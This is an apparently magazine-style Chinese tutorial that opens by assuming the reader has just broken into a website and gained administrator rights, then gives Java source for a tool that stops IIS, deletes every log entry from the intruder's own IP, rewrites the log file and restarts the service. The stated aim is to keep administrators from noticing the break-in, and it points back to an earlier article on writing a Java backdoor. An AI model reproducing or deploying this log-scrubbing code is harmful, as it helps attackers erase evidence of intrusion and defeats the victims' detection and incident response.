利用Java编写简单IIS日志清理工具
文/图 海啸天鸣(Ansty)[华南农业大学 李海鸣]
拿下XXX网站,提权得到管理员权限以后,大家是不是就一走了之呢?是不是忘了什么很重要的事情呢?没错,清理日志!勤快点的管理员会定时分析系统日志,看看系统什么时候发生过什么事情;细心的管理员则可以从日志里面看出我们跑进他们系统的脚印哦。
现在网上提供的日志清理工具好多都是直接删除整个日志文件的,管理员在查日志文件时发现日志没了,不用说也知道服务器被黑,这样做是比较傻瓜的。因此,我们就需要可以清理我们指定IP的日志这个功能。网上找了一下,发现iisantidote这个小工具可以实现,但没提供源码。我就本着开源的思想,用Java写了这么一个小工具。本文没有做太复杂的功能,实现清理指定IIS文件的日志就OK了,即在IIS日志文件里面找到我们指定IP的记录,然后删除。
在开始写程序前,我们引入下面三个包。
import java.io.*; //封装了java对文件的一些操作
import java.util.ArrayList; //java封装好了链表,我们无需再自己重新写,方便了很多
import java.util.ListIterator; //对链表的一些操作,非常方便
读IIS日志
public void readLog() {
try {
BufferedReader bFile = new BufferedReader(new InputStreamReader(new FileInputStream(fileName)));
String data;
while ((data = bFile.readLine()) != null) {//判断是否读到空数据,空则停止
logArray.add(data);//保存数据
}
bFile.close();//处理完文件以后一定要关闭文件读取流
} catch (FileNotFoundException e) {//处理文件异常
System.out.println("文件无法找到");
} catch (IOException e) {//处理输入输出异常
e.printStackTrace();
}
}我们先一下BufferedReader的构造方法。
BufferedReader(Reader in)用于创建一个使用默认大小输入缓冲区的缓冲字符输入流。为什么我们要选择这个类来操作文件呢?对于IIS的日志文件,如果访问量很大,那么产生的日志就会非常庞大。如果使用一个未带缓冲区的方法来读一个大文件,会费很多的时间,程序也很容易假死,而且效率也很低下。因为这个类里面的参数是Reader,所以我们就要用“new InputStreamReader(new FileInputStream(fileName))”来获得一个Reader类的对象。fileName就是我们输入的IIS日志文件的路径。
bFile通过readLine()每次读入一行日志记录,然后将这些记录全部存储到一个logArray的数组里面,logArray的类型是Array。我们前面说过了,Array封装了很多链表操作方法,add()就能直接将我们的数据添加进链表里。
处理IIS日志记录,删除存在指定IP的记录
public void execLog() {
ListIterator li = logArray.listIterator();
String temp;
while (li.hasNext()) {//判断是否到了链表尾部
temp = li.next().toString();//将链表数据转换成String类型
try {
if (temp.split(" ")[1].toString().equals(ip)) {//与指定的IP进行比较
} else //过滤指定IP的记录
newLogArray.add(temp); //添加到新的日志链表
} catch (Exception e) {//处理异常
e.printStackTrace();
}
}
}ListIterator是一个接口,允许程序员按任一方向遍历列表、迭代期间修改列表,并获得迭代器在列表中的当前位置。在这里我们只用到了hasNext()和next()方法。顾名思义,第一个是判断是否还有后续元素,第二个就是获得后续元素,我们通过循环判断所有的元素即可。temp是一个String类型的变量,每次只存储一条日志记录,记录的格式是“时间 客户IP 访问类型 标志”,对于我们来说,我们只关心客户IP,此时调用String类的spilt()方法来获得就可以了。
temp.split(" ")能将一个String类型的变量temp按空格分成一组数组,从上面的记录格式我们可以看出,客户IP是在第二个位置的,所以我们就可以通过temp.split(“ “)[1]来得到客户IP。equal()方法就是比较了。整个IF-ELSE里面是将与IP匹配的记录略去,然后存到新的newLogArray里面,这样得到的newLogArray链表就是没有我们自己IP的日志列表了。
修改IIS日志文件
public void writeLog(ArrayList temp) {
ListIterator li = temp.listIterator();
//temp就是我们要写到日志文件的日志记录链表
try {
BufferedWriter bw = new BufferedWriter(new FileWriter(fileName));
while (li.hasNext()) {
bw.write(li.next().toString() + " ");//逐行写入,后面再加个换行
}
bw.flush();//关闭文件之前,一定要先flush()
bw.close();
} catch (IOException e) {
e.printStackTrace();
}
}写文件同样要用到带缓冲的方法,就是BufferedWriter,这里的理论跟读文件一样,就不再细说了。我们依然利用循环来将链表中的记录写进文件,最后那个换行一定要加上去,如果不加的话,写进去的时候是没有换行的。
之后,最重要的工作就是把我们上面写的代码连接在一起了。在我们修改IIS日志文件的时候,如果只是修改过往日志,那还好,直接修改就行了。但是如果修改的是当天日志,那可就不同了,因为IIS仍在运行,正在操作那个日志文件,我们就只有看着的份,写是写不了的了。所以,我们在修改之前,一定要把IIS先给停了。
public void exec() {
try {
Process p = null;
p = Runtime.getRuntime().exec("cmd /c iisreset /stop");
execResult(p);//打印DOS命令执行返回的数据
p = Runtime.getRuntime().exec("cmd /c net stop w3svc");
execResult(p);
readLog();//读日志,前面已经介绍
execLog();//处理日志
writeLog(newLogArray);//修改日志
p = Runtime.getRuntime().exec("cmd /c iisreset /enable");
execResult(p);
p = Runtime.getRuntime().exec("cmd /c iisreset /start");
execResult(p);
p = Runtime.getRuntime().exec("cmd /c net start w3svc");
execResult(p);
} catch (IOException e) {
e.printStackTrace();
}
}还记得2007第12期《利用Java写自己的专属后门》上面讲的Process这个类吗?当时我们是用来运行系统命令的。这里我们为什么要执行“iisreset /stop”和“net stop w3svc”呢?因为如果只用后者,在Java里面有时是无法将IIS直接停掉的,所以我们就必须先将IIS停掉,然后再停w3svc,后面对日志的操作就不做介绍了。这里我还连续用了三组命令来启动IIS,为什么会那么麻烦呢?首先“iisreset /enable”,因为前面的“iisreset /stop”在我测试的时候有时会将IIS给禁用了;然后再“iisreset /start”和“net start w3svc”,因为后面那个命令只启动w3svc服务而没有启动IIS服务,所以为了避免出现意外就全部都加进去了。
说到这里,这次的Java版日志删除小工具就算是完成了。对于这个小程序,实现的只是一个小小的功能,我们还可以发挥想象,继续扩展它的功能。比如我们可以一次性处理所有的日志文件,添加多线程处理,处理其他类型的日志。说到其他类型的日志,其实我们只要知道日志的数据组织存放结构,就可以将这个类型的日志清除工具写出来的。至于这些功能的扩展,就交给聪明的读者去完成吧
补充:软件开发 , Java ,